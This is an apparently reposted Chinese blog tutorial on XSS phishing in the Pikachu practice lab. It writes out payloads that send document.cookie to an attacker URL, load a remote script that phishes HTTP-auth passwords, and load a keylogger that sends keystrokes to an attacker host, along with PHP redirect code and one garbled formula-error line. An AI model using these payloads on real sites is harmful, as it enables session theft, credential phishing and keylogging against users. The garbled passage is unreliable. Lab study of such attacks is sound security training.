概述
1、XSS就是攻击者在web页面插入恶意的Script代码,当用户浏览该页面时,嵌入其中的js代码会被执行,从而达到恶意攻击的目的。
XSS是一种发生在web前端的漏洞,所以其危害的对象也主要是前端用户
Xss漏洞可以用来进行钓鱼攻击、前端js挖矿、用户cookie获取、甚至可以结合浏览器自身的漏洞对用户主机进行远程控制
因此在XSS漏洞的防范上,一般会采用对输入进行过滤、和对输出进行转义的方式进行处理
xss相关介绍请自行查询或访问:https://blog.csdn.net/weixin_45868644/article/details/120192536进行阅读学习,这里直接讲钓鱼部分。
首先:
准备pikachu靶场的环境
访问http://116.204.99.177/install.php(pikaqiu项目目录下的install.php),进行初始化,创建数据库。
访问管理工具,初始化钓鱼信息记录的数据库
点击初始化安装
之后便可以登录,账户密码:admin/123456
靶场cookie获取的额外操作
将靶场目录下的pkxss/xcookie/cookie.php文件进行修改,在header处修改为自己靶场的url,当此文件被访问或调用解析时,最后会执行跳转到你的靶场url
靶场账号密码钓鱼的额外操作
将靶场目录下的pkxss/xfish/fish.php文件进行修改
$url = "http://your-ip/pkxss/xfish/xfish.php?username={$_SERVER['PHP_AUTH_USER']}&password={$_SERVER['PHP_AUTH_PW']}"; header("Location: $url"); echo "Redirecting to: $url";
原代码
header("Location: http://your-ip/pkxss/xfish/xfish.php?username={$_SERVER['PHP_AUTH_USER']}&password={$_SERVER['PHP_AUTH_PW']}");
ps:当
your-ip为10.10.10.10:8081,{KaTeX parse error: Expected 'EOF', got '}' at position 25: …PHP_AUTH_USER']}̲为admin {_SERVER[‘PHP_AUTH_PW’]}")为admin
举例
该代码使用php的curl进行访问跳转,但是由于该代码在执行时会拼接为
curl http://10.10.10.10:8081/pkxss/xfish/xfish.php?username=admin&password=admin
会出现报错,原因是因为&会将这一条命令分割为两条命令执行
第一个命令:curl http://10.10.10.10:8081/pkxss/xfish/xfish.php?username=admin
第二个命令:password=admin
所以对php代码进行修改:
curl命令就会变为:
curl “http://10.10.10.10:8081/pkxss/xfish/xfish.php?username=admin&password=admin”
就可以成功
开始进行钓鱼操作
一、Get的反射性XSS钓鱼攻击
构造代码:
<script> document.location = 'http://your-IP/pkxss/xcookie/cookie.php?cookie=' + document.cookie; script>
对于这段js代码的分析:
标签:表示JavaScript脚本的结束。
总结:使用js代码,将当前网站的cookie拼接到url:"http://your-ip/pkxss/xcookie/cookie.php?cookie="上,进行跳转
测试攻击
前端js代码限制输入框只能提交20个字段,将它修改为100即可(当然,这是get型xss,可以直接在url传参处添加攻击语句)
提交攻击语句后发现,跳转回了靶场首页,
网页debug发现:
第一:请求了指定的钓鱼页面的url,并在后面携带了我的cookie信息
第二:跳转回靶场首页(前面“靶场cookie获取的额外操作”的结果,用来抵消受害者的怀疑)
查看结果
成功抓取到我的cookie信息
二、存储型xss实现账号密码钓鱼
构造代码
<script src="http://your-ip/pkxss/xfish/fish.php">script>
插入后
当我们访问该页面是,便会调用解析http://116.204.99.177/pkxss/xfish/fish.php
后台代码分析
测试攻击
输入damin/admin
钓鱼成功
三、存储型XSS实现键盘记录
要求同源策略,可以在黑客网站设置忽略同源策略
准备:
靶场网站路径下pkxss/rkeypress/rkserver.php文件
修改pkxss/rkeypress/rk.js文件,实时向目标文件发送数据
测试攻击:
构造恶意语句,存入数据库
<script src="http://your-ip/pkxss/rkeypress/rk.js">script>
开始调用
在网页debug处发现向目标hacker网站发送了键盘数据
查看发现接受成功
来源地址:https://blog.csdn.net/m0_60767986/article/details/130321874